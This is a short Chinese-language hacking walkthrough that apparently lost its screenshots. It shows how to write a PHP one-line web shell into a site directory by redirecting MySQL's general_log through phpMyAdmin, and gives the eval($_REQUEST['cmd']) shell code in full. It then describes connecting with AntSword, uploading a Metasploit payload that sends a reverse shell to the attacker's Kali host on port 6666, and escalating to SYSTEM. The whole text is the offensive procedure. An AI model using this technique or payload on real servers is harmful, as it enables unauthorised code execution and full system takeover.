通过MySql写入一句话进行提权

本次实战直接以phpMyAdmin里进行sql语句操作
1.show variables like “general_log%”

将general_log改成ON就可以进行mysql日志输出保存了

将general_log_file改成能执行php的目录下，即网站目录下

查看我们修改后的配置

写入我们的一句话木马

select "<?php @eval($_REQUEST['cmd']);?>

在这里我们可以看到成功写入了

用蚁剑连接

接下来我们用msf进行提权，打开kali，这里的LHOST是kali的地址

生成木马后上传，然后kali监听6666号端口，然后用蚁剑执行exe



木马执行成功，成功反弹shell给msf

看一下身份

还是普通权限。接下来提权

成功获得system权限！！！